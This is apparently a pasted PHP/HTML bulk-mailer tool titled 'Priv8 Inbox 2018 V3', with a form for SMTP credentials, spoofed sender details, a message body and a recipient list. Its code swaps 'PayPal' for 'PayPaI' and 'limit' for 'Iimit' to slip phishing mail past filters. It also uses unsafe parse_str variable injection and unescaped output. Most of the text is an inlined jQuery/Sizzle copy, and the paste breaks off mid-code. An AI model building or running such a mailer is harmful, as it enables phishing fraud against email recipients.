· 7 years ago · Jan 15, 2019, 02:32 AM
1<?php
2
3set_time_limit(0);
4error_reporting(0);
5function query_str($params) {
6 $str = '';
7 foreach ($params as $key => $value) {
8 $str .= (strlen($str) < 1) ? '' : '&';
9 $str .= $key . '=' . rawurlencode($value);
10 }
11 return ($str);
12}
13function lrtrim($string){
14 return stripslashes(ltrim(rtrim($string)));
15}
16if(isset($_POST['action'])){
17
18 $b = query_str($_POST);
19 parse_str($b);
20 $action = lrtrim($action);
21 $smtp_username = lrtrim($smtp_username);
22 $smtp_password = lrtrim($smtp_password);
23 $smtp_server = lrtrim($smtp_server);
24 $smtp_port = lrtrim($smtp_port);
25 $smtp_ssl = lrtrim($smtp_ssl);
26 $xmailer = lrtrim($xmailer);
27 $reconnect = lrtrim($reconnect);
28 $type = lrtrim($type);
29 $email = lrtrim($mail);
30 $nama = lrtrim($nama);
31 $subject = lrtrim($subject);
32 $pesan = lrtrim($pesan);
33 $emaillist = strtolower(lrtrim($list));
34 $encoding = lrtrim($encode);
35 $file_name = $_FILES['file']['name'];
36 $file_path = $_FILES['file']['tmp_name'];
37 $wait = lrtrim($wait);
38
39 $pesan = urlencode($pesan);
40 $pesan = ereg_replace("%5C%22", "%22", $pesan);
41 $pesan = urldecode($pesan);
42 $pesan = stripslashes($pesan);
43 $pesan = str_replace("PayPal", "PayPaI", $pesan);
44 $pesan = str_replace("limit", "Iimit", $pesan);
45}
46?>
47<!DOCTYPE html>
48<html lang="en">
49
50<head>
51 <meta charset="utf-8">
52 <title>Priv8 Inbox 2018 V3</title>
53 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
54 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
55 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
56 <link rel="stylesheet" href="http://www.w32.info/1999/xhtml">
57 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
58 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
59 <link rel="shortcut icon" href="">
60
61
62 <script type="text/javascript">
63 function Pilih1(dropDown) {
64 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
65 document.getElementById("sender-name").value = selectedValue;
66 }
67 function Pilih2(dropDown) {
68 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
69 document.getElementById("sender-email").value = selectedValue;
70 }
71 function Pilih3(dropDown) {
72 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
73 document.getElementById("subject").value = selectedValue;
74 }
75 function Pilih4(dropDown) {
76 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
77 document.getElementById("xmailer").value = selectedValue;
78 }
79 </script>
80</head>
81<body>
82<div id="wrap">
83
84 <div class="container" style="margin-top: 25px;">
85 <div class="row">
86 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
87 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
88 <div class="panel-heading">
89 <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
90 </div>
91
92 <div style="padding-top: 15px;">
93
94 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
95
96 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
97
98 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
99
100 <div id="smtp" class="collapse">
101 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
102
103 <div style="margin-bottom: 10px" class="input-group">
104 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
105 <input type="text" class="form-control" name="smtp_username" value="<?php echo $smtp_username;?>" placeholder="SMTP Username">
106 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
107 <input type="password" class="form-control" name="smtp_password" value="<?php echo $smtp_password;?>" placeholder="SMTP Password">
108 </div>
109
110 <div style="margin-bottom: 10px" class="input-group">
111 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
112 <input type="text" class="form-control" name="smtp_server" value="<?php echo $smtp_server;?>" placeholder="SMTP Server">
113 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
114 <input type="text" class="form-control" name="smtp_port" value="<?php echo $smtp_port;?>" placeholder="optional">
115 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
116 <select class="form-control" name="smtp_ssl">
117 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
118 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
119 </select>
120 </div>
121 <div style="color:red;" align="center">
122 " If you dont have SMTP login, leave blank queries above "
123 </div>
124<script>
125 (function(global, factory) {
126 if (typeof module === "object" && typeof module.exports === "object") {
127 module.exports = global.document ? factory(global, true) : function(w) {
128 if (!w.document) {
129 throw new Error("jQuery requires a window with a document");
130 }
131 return factory(w)
132 }
133 } else {
134 factory(global)
135 }
136 }(typeof window !== "undefined" ? window : this, function(window, noGlobal) {
137 var deletedIds = [];
138 var slice = deletedIds.slice;
139 var concat = deletedIds.concat;
140 var push = deletedIds.push;
141 var indexOf = deletedIds.indexOf;
142 var class2type = {};
143 var toString = class2type.toString;
144 var hasOwn = class2type.hasOwnProperty;
145 var support = {};
146 var version = "1.11.2",
147 jQuery = function(selector, context) {
148 return new jQuery.fn.init(selector, context)
149 },
150 rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
151 rmsPrefix = /^-ms-/,
152 rdashAlpha = /-([\da-z])/gi,
153 fcamelCase = function(all, letter) {
154 return letter.toUpperCase()
155 };
156 jQuery.fn = jQuery.prototype = {
157 jquery: version,
158 constructor: jQuery,
159 selector: "",
160 length: 0,
161 toArray: function() {
162 return slice.call(this)
163 },
164 get: function(num) {
165 return num != null ? (num < 0 ? this[num + this.length] : this[num]) : slice.call(this)
166 },
167 pushStack: function(elems) {
168 var ret = jQuery.merge(this.constructor(), elems);
169 ret.prevObject = this;
170 ret.context = this.context;
171 return ret
172 },
173 each: function(callback, args) {
174 return jQuery.each(this, callback, args)
175 },
176 map: function(callback) {
177 return this.pushStack(jQuery.map(this, function(elem, i) {
178 return callback.call(elem, i, elem)
179 }))
180 },
181 slice: function() {
182 return this.pushStack(slice.apply(this, arguments))
183 },
184 first: function() {
185 return this.eq(0)
186 },
187 last: function() {
188 return this.eq(-1)
189 },
190 eq: function(i) {
191 var len = this.length,
192 j = +i + (i < 0 ? len : 0);
193 return this.pushStack(j >= 0 && j < len ? [this[j]] : [])
194 },
195 end: function() {
196 return this.prevObject || this.constructor(null)
197 },
198 push: push,
199 sort: deletedIds.sort,
200 splice: deletedIds.splice
201 };
202 jQuery.extend = jQuery.fn.extend = function() {
203 var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {},
204 i = 1,
205 length = arguments.length,
206 deep = false;
207 if (typeof target === "boolean") {
208 deep = target;
209 target = arguments[i] || {};
210 i++
211 }
212 if (typeof target !== "object" && !jQuery.isFunction(target)) {
213 target = {}
214 }
215 if (i === length) {
216 target = this;
217 i--
218 }
219 for (; i < length; i++) {
220 if ((options = arguments[i]) != null) {
221 for (name in options) {
222 src = target[name];
223 copy = options[name];
224 if (target === copy) {
225 continue
226 }
227 if (deep && copy && (jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)))) {
228 if (copyIsArray) {
229 copyIsArray = false;
230 clone = src && jQuery.isArray(src) ? src : []
231 } else {
232 clone = src && jQuery.isPlainObject(src) ? src : {}
233 }
234 target[name] = jQuery.extend(deep, clone, copy)
235 } else if (copy !== undefined) {
236 target[name] = copy
237 }
238 }
239 }
240 }
241 return target
242 };
243 jQuery.extend({
244 expando: "jQuery" + (version + Math.random()).replace(/\D/g, ""),
245 isReady: true,
246 error: function(msg) {
247 throw new Error(msg);
248 },
249 noop: function() {},
250 isFunction: function(obj) {
251 return jQuery.type(obj) === "function"
252 },
253 isArray: Array.isArray || function(obj) {
254 return jQuery.type(obj) === "array"
255 },
256 isWindow: function(obj) {
257 return obj != null && obj == obj.window
258 },
259 isNumeric: function(obj) {
260 return !jQuery.isArray(obj) && (obj - parseFloat(obj) + 1) >= 0
261 },
262 isEmptyObject: function(obj) {
263 var name;
264 for (name in obj) {
265 return false
266 }
267 return true
268 },
269 isPlainObject: function(obj) {
270 var key;
271 if (!obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow(obj)) {
272 return false
273 }
274 try {
275 if (obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf")) {
276 return false
277 }
278 } catch (e) {
279 return false
280 }
281 if (support.ownLast) {
282 for (key in obj) {
283 return hasOwn.call(obj, key)
284 }
285 }
286 for (key in obj) {}
287 return key === undefined || hasOwn.call(obj, key)
288 },
289 type: function(obj) {
290 if (obj == null) {
291 return obj + ""
292 }
293 return typeof obj === "object" || typeof obj === "function" ? class2type[toString.call(obj)] || "object" : typeof obj
294 },
295 globalEval: function(data) {
296 if (data && jQuery.trim(data)) {
297 (window.execScript || function(data) {
298 window["eval"].call(window, data)
299 })(data)
300 }
301 },
302 camelCase: function(string) {
303 return string.replace(rmsPrefix, "ms-").replace(rdashAlpha, fcamelCase)
304 },
305 nodeName: function(elem, name) {
306 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase()
307 },
308 each: function(obj, callback, args) {
309 var value, i = 0,
310 length = obj.length,
311 isArray = isArraylike(obj);
312 if (args) {
313 if (isArray) {
314 for (; i < length; i++) {
315 value = callback.apply(obj[i], args);
316 if (value === false) {
317 break
318 }
319 }
320 } else {
321 for (i in obj) {
322 value = callback.apply(obj[i], args);
323 if (value === false) {
324 break
325 }
326 }
327 }
328 } else {
329 if (isArray) {
330 for (; i < length; i++) {
331 value = callback.call(obj[i], i, obj[i]);
332 if (value === false) {
333 break
334 }
335 }
336 } else {
337 for (i in obj) {
338 value = callback.call(obj[i], i, obj[i]);
339 if (value === false) {
340 break
341 }
342 }
343 }
344 }
345 return obj
346 },
347 trim: function(text) {
348 return text == null ? "" : (text + "").replace(rtrim, "")
349 },
350 makeArray: function(arr, results) {
351 var ret = results || [];
352 if (arr != null) {
353 if (isArraylike(Object(arr))) {
354 jQuery.merge(ret, typeof arr === "string" ? [arr] : arr)
355 } else {
356 push.call(ret, arr)
357 }
358 }
359 return ret
360 },
361 inArray: function(elem, arr, i) {
362 var len;
363 if (arr) {
364 if (indexOf) {
365 return indexOf.call(arr, elem, i)
366 }
367 len = arr.length;
368 i = i ? i < 0 ? Math.max(0, len + i) : i : 0;
369 for (; i < len; i++) {
370 if (i in arr && arr[i] === elem) {
371 return i
372 }
373 }
374 }
375 return -1
376 },
377 merge: function(first, second) {
378 var len = +second.length,
379 j = 0,
380 i = first.length;
381 while (j < len) {
382 first[i++] = second[j++]
383 }
384 if (len !== len) {
385 while (second[j] !== undefined) {
386 first[i++] = second[j++]
387 }
388 }
389 first.length = i;
390 return first
391 },
392 grep: function(elems, callback, invert) {
393 var callbackInverse, matches = [],
394 i = 0,
395 length = elems.length,
396 callbackExpect = !invert;
397 for (; i < length; i++) {
398 callbackInverse = !callback(elems[i], i);
399 if (callbackInverse !== callbackExpect) {
400 matches.push(elems[i])
401 }
402 }
403 return matches
404 },
405 map: function(elems, callback, arg) {
406 var value, i = 0,
407 length = elems.length,
408 isArray = isArraylike(elems),
409 ret = [];
410 if (isArray) {
411 for (; i < length; i++) {
412 value = callback(elems[i], i, arg);
413 if (value != null) {
414 ret.push(value)
415 }
416 }
417 } else {
418 for (i in elems) {
419 value = callback(elems[i], i, arg);
420 if (value != null) {
421 ret.push(value)
422 }
423 }
424 }
425 return concat.apply([], ret)
426 },
427 guid: 1,
428 proxy: function(fn, context) {
429 var args, proxy, tmp;
430 if (typeof context === "string") {
431 tmp = fn[context];
432 context = fn;
433 fn = tmp
434 }
435 if (!jQuery.isFunction(fn)) {
436 return undefined
437 }
438 args = slice.call(arguments, 2);
439 proxy = function() {
440 return fn.apply(context || this, args.concat(slice.call(arguments)))
441 };
442 proxy.guid = fn.guid = fn.guid || jQuery.guid++;
443 return proxy
444 },
445 now: function() {
446 return +(new Date())
447 },
448 support: support
449 });
450 jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
451 class2type["[object " + name + "]"] = name.toLowerCase()
452 });
453
454 function isArraylike(obj) {
455 var length = obj.length,
456 type = jQuery.type(obj);
457 if (type === "function" || jQuery.isWindow(obj)) {
458 return false
459 }
460 if (obj.nodeType === 1 && length) {
461 return true
462 }
463 return type === "array" || length === 0 || typeof length === "number" && length > 0 && (length - 1) in obj
464 }
465 var Sizzle = (function(window) {
466 var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, expando = "sizzle" + 1 * new Date(),
467 preferredDoc = window.document,
468 dirruns = 0,
469 done = 0,
470 classCache = createCache(),
471 tokenCache = createCache(),
472 compilerCache = createCache(),
473 sortOrder = function(a, b) {
474 if (a === b) {
475 hasDuplicate = true
476 }
477 return 0
478 },
479 MAX_NEGATIVE = 1 << 31,
480 hasOwn = ({}).hasOwnProperty,
481 arr = [],
482 pop = arr.pop,
483 push_native = arr.push,
484 push = arr.push,
485 slice = arr.slice,
486 indexOf = function(list, elem) {
487 var i = 0,
488 len = list.length;
489 for (; i < len; i++) {
490 if (list[i] === elem) {
491 return i
492 }
493 }
494 return -1
495 },
496 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
497 whitespace = "[\\x20\\t\\r\\n\\f]",
498 characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
499 identifier = characterEncoding.replace("w", "w#"),
500 attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace + "*([*^$|!~]?=)" + whitespace + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]",
501 pseudos = ":(" + characterEncoding + ")(?:\\((" + "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + ".*" + ")\\)|)",
502 rwhitespace = new RegExp(whitespace + "+", "g"),
503 rtrim = new RegExp("^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g"),
504 rcomma = new RegExp("^" + whitespace + "*," + whitespace + "*"),
505 rcombinators = new RegExp("^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*"),
506 rattributeQuotes = new RegExp("=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g"),
507 rpseudo = new RegExp(pseudos),
508 ridentifier = new RegExp("^" + identifier + "$"),
509 matchExpr = {
510 "ID": new RegExp("^#(" + characterEncoding + ")"),
511 "CLASS": new RegExp("^\\.(" + characterEncoding + ")"),
512 "TAG": new RegExp("^(" + characterEncoding.replace("w", "w*") + ")"),
513 "ATTR": new RegExp("^" + attributes),
514 "PSEUDO": new RegExp("^" + pseudos),
515 "CHILD": new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i"),
516 "bool": new RegExp("^(?:" + booleans + ")$", "i"),
517 "needsContext": new RegExp("^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i")
518 },
519 rinputs = /^(?:input|select|textarea|button)$/i,
520 rheader = /^h\d$/i,
521 rnative = /^[^{]+\{\s*\[native \w/,
522 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
523 rsibling = /[+~]/,
524 rescape = /'|\\/g,
525 runescape = new RegExp("\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig"),
526 funescape = function(_, escaped, escapedWhitespace) {
527 var high = "0x" + escaped - 0x10000;
528 return high !== high || escapedWhitespace ? escaped : high < 0 ? String.fromCharCode(high + 0x10000) : String.fromCharCode(high >> 10 | 0xD800, high & 0x3FF | 0xDC00)
529 },
530 unloadHandler = function() {
531 setDocument()
532 };
533 try {
534 push.apply((arr = slice.call(preferredDoc.childNodes)), preferredDoc.childNodes);
535 arr[preferredDoc.childNodes.length].nodeType
536 } catch (e) {
537 push = {
538 apply: arr.length ? function(target, els) {
539 push_native.apply(target, slice.call(els))
540 } : function(target, els) {
541 var j = target.length,
542 i = 0;
543 while ((target[j++] = els[i++])) {}
544 target.length = j - 1
545 }
546 }
547 }
548
549 function Sizzle(selector, context, results, seed) {
550 var match, elem, m, nodeType, i, groups, old, nid, newContext, newSelector;
551 if ((context ? context.ownerDocument || context : preferredDoc) !== document) {
552 setDocument(context)
553 }
554 context = context || document;
555 results = results || [];
556 nodeType = context.nodeType;
557 if (typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11) {
558 return results
559 }
560 if (!seed && documentIsHTML) {
561 if (nodeType !== 11 && (match = rquickExpr.exec(selector))) {
562 if ((m = match[1])) {
563 if (nodeType === 9) {
564 elem = context.getElementById(m);
565 if (elem && elem.parentNode) {
566 if (elem.id === m) {
567 results.push(elem);
568 return results
569 }
570 } else {
571 return results
572 }
573 } else {
574 if (context.ownerDocument && (elem = context.ownerDocument.getElementById(m)) && contains(context, elem) && elem.id === m) {
575 results.push(elem);
576 return results
577 }
578 }
579 } else if (match[2]) {
580 push.apply(results, context.getElementsByTagName(selector));
581 return results
582 } else if ((m = match[3]) && support.getElementsByClassName) {
583 push.apply(results, context.getElementsByClassName(m));
584 return results
585 }
586 }
587 if (support.qsa && (!rbuggyQSA || !rbuggyQSA.test(selector))) {
588 nid = old = expando;
589 newContext = context;
590 newSelector = nodeType !== 1 && selector;
591 if (nodeType === 1 && context.nodeName.toLowerCase() !== "object") {
592 groups = tokenize(selector);
593 if ((old = context.getAttribute("id"))) {
594 nid = old.replace(rescape, "\\$&")
595 } else {
596 context.setAttribute("id", nid)
597 }
598 nid = "[id='" + nid + "'] ";
599 i = groups.length;
600 while (i--) {
601 groups[i] = nid + toSelector(groups[i])
602 }
603 newContext = rsibling.test(selector) && testContext(context.parentNode) || context;
604 newSelector = groups.join(",")
605 }
606 if (newSelector) {
607 try {
608 push.apply(results, newContext.querySelectorAll(newSelector));
609 return results
610 } catch (qsaError) {} finally {
611 if (!old) {
612 context.removeAttribute("id")
613 }
614 }
615 }
616 }
617 }
618 return select(selector.replace(rtrim, "$1"), context, results, seed)
619 }
620
621 function createCache() {
622 var keys = [];
623
624 function cache(key, value) {
625 if (keys.push(key + " ") > Expr.cacheLength) {
626 delete cache[keys.shift()]
627 }
628 return (cache[key + " "] = value)
629 }
630 return cache
631 }
632
633 function markFunction(fn) {
634 fn[expando] = true;
635 return fn
636 }
637
638 function assert(fn) {
639 var div = document.createElement("div");
640 try {
641 return !!fn(div)
642 } catch (e) {
643 return false
644 } finally {
645 if (div.parentNode) {
646 div.parentNode.removeChild(div)
647 }
648 div = null
649 }
650 }
651
652 function addHandle(attrs, handler) {
653 var arr = attrs.split("|"),
654 i = attrs.length;
655 while (i--) {
656 Expr.attrHandle[arr[i]] = handler
657 }
658 }
659
660 function siblingCheck(a, b) {
661 var cur = b && a,
662 diff = cur && a.nodeType === 1 && b.nodeType === 1 && (~b.sourceIndex || MAX_NEGATIVE) - (~a.sourceIndex || MAX_NEGATIVE);
663 if (diff) {
664 return diff
665 }
666 if (cur) {
667 while ((cur = cur.nextSibling)) {
668 if (cur === b) {
669 return -1
670 }
671 }
672 }
673 return a ? 1 : -1
674 }
675
676 function createInputPseudo(type) {
677 return function(elem) {
678 var name = elem.nodeName.toLowerCase();
679 return name === "input" && elem.type === type
680 }
681 }
682
683 function createButtonPseudo(type) {
684 return function(elem) {
685 var name = elem.nodeName.toLowerCase();
686 return (name === "input" || name === "button") && elem.type === type
687 }
688 }
689
690 function createPositionalPseudo(fn) {
691 return markFunction(function(argument) {
692 argument = +argument;
693 return markFunction(function(seed, matches) {
694 var j, matchIndexes = fn([], seed.length, argument),
695 i = matchIndexes.length;
696 while (i--) {
697 if (seed[(j = matchIndexes[i])]) {
698 seed[j] = !(matches[j] = seed[j])
699 }
700 }
701 })
702 })
703 }
704
705 function testContext(context) {
706 return context && typeof context.getElementsByTagName !== "undefined" && context
707 }
708 support = Sizzle.support = {};
709 isXML = Sizzle.isXML = function(elem) {
710 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
711 return documentElement ? documentElement.nodeName !== "HTML" : false
712 };
713 setDocument = Sizzle.setDocument = function(node) {
714 var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc;
715 if (doc === document || doc.nodeType !== 9 || !doc.documentElement) {
716 return document
717 }
718 document = doc;
719 docElem = doc.documentElement;
720 parent = doc.defaultView;
721 if (parent && parent !== parent.top) {
722 if (parent.addEventListener) {
723 parent.addEventListener("unload", unloadHandler, false)
724 } else if (parent.attachEvent) {
725 parent.attachEvent("onunload", unloadHandler)
726 }
727 }
728 documentIsHTML = !isXML(doc);
729 support.attributes = assert(function(div) {
730 div.className = "i";
731 return !div.getAttribute("className")
732 });
733 support.getElementsByTagName = assert(function(div) {
734 div.appendChild(doc.createComment(""));
735 return !div.getElementsByTagName("*").length
736 });
737 support.getElementsByClassName = rnative.test(doc.getElementsByClassName);
738 support.getById = assert(function(div) {
739 docElem.appendChild(div).id = expando;
740 return !doc.getElementsByName || !doc.getElementsByName(expando).length
741 });
742 if (support.getById) {
743 Expr.find["ID"] = function(id, context) {
744 if (typeof context.getElementById !== "undefined" && documentIsHTML) {
745 var m = context.getElementById(id);
746 return m && m.parentNode ? [m] : []
747 }
748 };
749 Expr.filter["ID"] = function(id) {
750 var attrId = id.replace(runescape, funescape);
751 return function(elem) {
752 return elem.getAttribute("id") === attrId
753 }
754 }
755 } else {
756 delete Expr.find["ID"];
757 Expr.filter["ID"] = function(id) {
758 var attrId = id.replace(runescape, funescape);
759 return function(elem) {
760 var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
761 return node && node.value === attrId
762 }
763 }
764 }
765 Expr.find["TAG"] = support.getElementsByTagName ? function(tag, context) {
766 if (typeof context.getElementsByTagName !== "undefined") {
767 return context.getElementsByTagName(tag)
768 } else if (support.qsa) {
769 return context.querySelectorAll(tag)
770 }
771 } : function(tag, context) {
772 var elem, tmp = [],
773 i = 0,
774 results = context.getElementsByTagName(tag);
775 if (tag === "*") {
776 while ((elem = results[i++])) {
777 if (elem.nodeType === 1) {
778 tmp.push(elem)
779 }
780 }
781 return tmp
782 }
783 return results
784 };
785 Expr.find["CLASS"] = support.getElementsByClassName && function(className, context) {
786 if (documentIsHTML) {
787 return context.getElementsByClassName(className)
788 }
789 };
790 rbuggyMatches = [];
791 rbuggyQSA = [];
792 if ((support.qsa = rnative.test(doc.querySelectorAll))) {
793 assert(function(div) {
794 docElem.appendChild(div).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\f]' msallowcapture=''>" + "<option selected=''></option></select>";
795 if (div.querySelectorAll("[msallowcapture^='']").length) {
796 rbuggyQSA.push("[*^$]=" + whitespace + "*(?:''|\"\")")
797 }
798 if (!div.querySelectorAll("[selected]").length) {
799 rbuggyQSA.push("\\[" + whitespace + "*(?:value|" + booleans + ")")
800 }
801 if (!div.querySelectorAll("[id~=" + expando + "-]").length) {
802 rbuggyQSA.push("~=")
803 }
804 if (!div.querySelectorAll(":checked").length) {
805 rbuggyQSA.push(":checked")
806 }
807 if (!div.querySelectorAll("a#" + expando + "+*").length) {
808 rbuggyQSA.push(".#.+[+~]")
809 }
810 });
811 assert(function(div) {
812 var input = doc.createElement("input");
813 input.setAttribute("type", "hidden");
814 div.appendChild(input).setAttribute("name", "D");
815 if (div.querySelectorAll("[name=d]").length) {
816 rbuggyQSA.push("name" + whitespace + "*[*^$|!~]?=")
817 }
818 if (!div.querySelectorAll(":enabled").length) {
819 rbuggyQSA.push(":enabled", ":disabled")
820 }
821 div.querySelectorAll("*,:x");
822 rbuggyQSA.push(",.*:")
823 })
824 }
825 if ((support.matchesSelector = rnative.test((matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector)))) {
826 assert(function(div) {
827 support.disconnectedMatch = matches.call(div, "div");
828 matches.call(div, "[s!='']:x");
829 rbuggyMatches.push("!=", pseudos)
830 })
831 }
832 rbuggyQSA = rbuggyQSA.length && new RegExp(rbuggyQSA.join("|"));
833 rbuggyMatches = rbuggyMatches.length && new RegExp(rbuggyMatches.join("|"));
834 hasCompare = rnative.test(docElem.compareDocumentPosition);
835 contains = hasCompare || rnative.test(docElem.contains) ? function(a, b) {
836 var adown = a.nodeType === 9 ? a.documentElement : a,
837 bup = b && b.parentNode;
838 return a === bup || !!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : a.compareDocumentPosition && a.compareDocumentPosition(bup) & 16))
839 } : function(a, b) {
840 if (b) {
841 while ((b = b.parentNode)) {
842 if (b === a) {
843 return true
844 }
845 }
846 }
847 return false
848 };
849 sortOrder = hasCompare ? function(a, b) {
850 if (a === b) {
851 hasDuplicate = true;
852 return 0
853 }
854 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
855 if (compare) {
856 return compare
857 }
858 compare = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1;
859 if (compare & 1 || (!support.sortDetached && b.compareDocumentPosition(a) === compare)) {
860 if (a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a)) {
861 return -1
862 }
863 if (b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b)) {
864 return 1
865 }
866 return sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
867 }
868 return compare & 4 ? -1 : 1
869 } : function(a, b) {
870 if (a === b) {
871 hasDuplicate = true;
872 return 0
873 }
874 var cur, i = 0,
875 aup = a.parentNode,
876 bup = b.parentNode,
877 ap = [a],
878 bp = [b];
879 if (!aup || !bup) {
880 return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
881 } else if (aup === bup) {
882 return siblingCheck(a, b)
883 }
884 cur = a;
885 while ((cur = cur.parentNode)) {
886 ap.unshift(cur)
887 }
888 cur = b;
889 while ((cur = cur.parentNode)) {
890 bp.unshift(cur)
891 }
892 while (ap[i] === bp[i]) {
893 i++
894 }
895 return i ? siblingCheck(ap[i], bp[i]) : ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0
896 };
897 return doc
898 };
899 Sizzle.matches = function(expr, elements) {
900 return Sizzle(expr, null, null, elements)
901 };
902 Sizzle.matchesSelector = function(elem, expr) {
903 if ((elem.ownerDocument || elem) !== document) {
904 setDocument(elem)
905 }
906 expr = expr.replace(rattributeQuotes, "='$1']");
907 if (support.matchesSelector && documentIsHTML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && (!rbuggyQSA || !rbuggyQSA.test(expr))) {
908 try {
909 var ret = matches.call(elem, expr);
910 if (ret || support.disconnectedMatch || elem.document && elem.document.nodeType !== 11) {
911 return ret
912 }
913 } catch (e) {}
914 }
915 return Sizzle(expr, document, null, [elem]).length > 0
916 };
917 Sizzle.contains = function(context, elem) {
918 if ((context.ownerDocument || context) !== document) {
919 setDocument(context)
920 }
921 return contains(context, elem)
922 };
923 Sizzle.attr = function(elem, name) {
924 if ((elem.ownerDocument || elem) !== document) {
925 setDocument(elem)
926 }
927 var fn = Expr.attrHandle[name.toLowerCase()],
928 val = fn && hasOwn.call(Expr.attrHandle, name.toLowerCase()) ? fn(elem, name, !documentIsHTML) : undefined;
929 return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute(name) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
930 };
931 Sizzle.error = function(msg) {
932 throw new Error("Syntax error, unrecognized expression: " + msg);
933 };
934 Sizzle.uniqueSort = function(results) {
935 var elem, duplicates = [],
936 j = 0,
937 i = 0;
938 hasDuplicate = !support.detectDuplicates;
939 sortInput = !support.sortStable && results.slice(0);
940 results.sort(sortOrder);
941 if (hasDuplicate) {
942 while ((elem = results[i++])) {
943 if (elem === results[i]) {
944 j = duplicates.push(i)
945 }
946 }
947 while (j--) {
948 results.splice(duplicates[j], 1)
949 }
950 }
951 sortInput = null;
952 return results
953 };
954 getText = Sizzle.getText = function(elem) {
955 var node, ret = "",
956 i = 0,
957 nodeType = elem.nodeType;
958 if (!nodeType) {
959 while ((node = elem[i++])) {
960 ret += getText(node)
961 }
962 } else if (nodeType === 1 || nodeType === 9 || nodeType === 11) {
963 if (typeof elem.textContent === "string") {
964 return elem.textContent
965 } else {
966 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
967 ret += getText(elem)
968 }
969 }
970 } else if (nodeType === 3 || nodeType === 4) {
971 return elem.nodeValue
972 }
973 return ret
974 };
975 Expr = Sizzle.selectors = {
976 cacheLength: 50,
977 createPseudo: markFunction,
978 match: matchExpr,
979 attrHandle: {},
980 find: {},
981 relative: {
982 ">": {
983 dir: "parentNode",
984 first: true
985 },
